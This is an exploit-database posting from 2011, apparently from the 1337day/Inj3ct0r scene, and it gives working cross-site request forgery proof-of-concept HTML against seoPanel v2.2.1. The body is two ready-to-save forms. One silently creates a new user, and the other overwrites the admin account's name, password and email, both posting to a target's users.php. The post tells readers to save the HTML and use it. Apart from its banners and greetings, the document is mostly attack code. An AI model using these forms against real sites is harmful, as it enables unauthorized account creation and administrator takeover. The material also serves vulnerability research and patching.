1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
# I'm KedAns-Dz > at { Inj3ct0r [+] Underground Exploitation } Teams   #
9-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-0
 _______    ________       .__       .__   __          9
 \   _  \  /   __   \  ____ ___ ________ |  |  ____  |__| |  |__       0
 /  /_\  \ \____    /_/ __ \\  \/ /\____\|  | /  _ \ |  | |  __/       9
 \  \_/   \   /  / \__/  >< | |_> >| (  ) |  |_| <_> ||  | |  |         0
  \_____  /  /____/   \___> /__/\_\ | __/|____/\___/ |__| |__|         9
     \/                |__|                               0
                        > It's not about black or white ...      9
         # UE (c) 2011 http://09exploit.com #                    0
   ++--={ 0 [Underground Exploitation Team] 9 }=--++             9
        + KedAns-Dz at Underground Exploitation                  0
      + website : www.09exploit.com                        9
      + Submit E-mail : 09exploit@gmail.com                0
      + Support E-mail : info@09exploit.com                9
9-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-0

###
# Title : seoPanel (v.2.2.1) Multiple CSRF Vulnerabilities
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com | ked-h@exploit-id.com
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Web Site : www.1337day.com * www.exploit-id.com * www.09exploit.com
# Twitter page : twitter.com/kedans
# platform : php
# Impact : CSRF => ( Add New User [+] Change Admin Account Settings )
# Tested on : Windows XP sp3 FR & Linux.(Ubuntu 10.10) En
###
# (~) Greetings To : Caddy-Dz (+) JaGo-Dz (+) Dr.Ride (+) All My Friends 
###

# (+) Exploit : Muliple < Cross-Site Request Forgery > =>

#========[ CSRF (1) Add New User ]=================>

<form id="newUser" action="http://[target]/users.php" method="POST" 
onclick="scriptDoLoadPost('users.php', 'newUser', 'content')" 
href="javascript:void(0);" class="actionbut">
<table>
<input type="hidden" name="sec" value="create">
<tr class="white_row"><td class="td_right_col">
<input type="text" name="userName" value="KedAns-Dz"></td></tr>
<tr class="blue_row"><td class="td_right_col">
<input type="password" name="password" value=""></td></tr>
<tr class="white_row"><td class="td_right_col">
<input type="password" name="confirmPassword" value=""></td></tr>
<tr class="blue_row"><td class="td_right_col">
<input type="text" name="firstName" value="Ked"></td></tr>
<tr class="white_row"><td class="td_right_col">
<input type="text" name="lastName" value="Ans"></td></tr>
<tr class="white_row"><td class="td_right_col">
<input type="text" name="email" value="ked-h@hotmail.com"></td></tr>
</table>  
<input type="submit" value="Add New User !"></td></tr>
</form>

#========[ CSRF (2) Change Admin Account Settings ]=================>

<form id="updateUser" action="http://[target]/users.php" method="POST" 
onclick="confirmSubmit('users.php', 'updateUser', 'content')" 
href="javascript:void(0);" class="actionbut">
<table>
<input type="hidden" name="sec" value="update">
<tr class="white_row"><td class="td_right_col">
<input type="text" name="userName" value="admin"></td></tr>
<tr class="blue_row"><td class="td_right_col">
<input type="password" name="password" value=""></td></tr>
<tr class="white_row"><td class="td_right_col">
<input type="password" name="confirmPassword" value=""></td></tr>
<tr class="blue_row"><td class="td_right_col">
<input type="text" name="firstName" value="admin"></td></tr>
<tr class="white_row"><td class="td_right_col">
<input type="text" name="lastName" value="owner"></td></tr>
<tr class="white_row"><td class="td_right_col">
<input type="text" name="email" value="ked-h@hotmail.com"></td></tr>
</table>
<input type="submit" value="Change Account Settings !"></td></tr>
</form>

[+++---={ Exploiting : Save Any HTML Code and Use The PoC ! }=---+++]

# (^_^) ! Good Luck ALL ...

#================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================  
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com) 
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * agix *
# gunslinger_ * Sn!pEr.S!Te * ZoRLu * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... 
# Exploit-Id Team : jos_ali_joe + Caddy-Dz (exploit-id.com) ... All Others * TreX (hotturks.org) 
# JaGo-Dz (sec4ever.com) * CEO (0nto.me) * PaCketStorm Team (www.packetstormsecurity.org)
# www.metasploit.com * UE-Team (www.09exploit.com) * All Security and Exploits Webs ...
#================================================================================================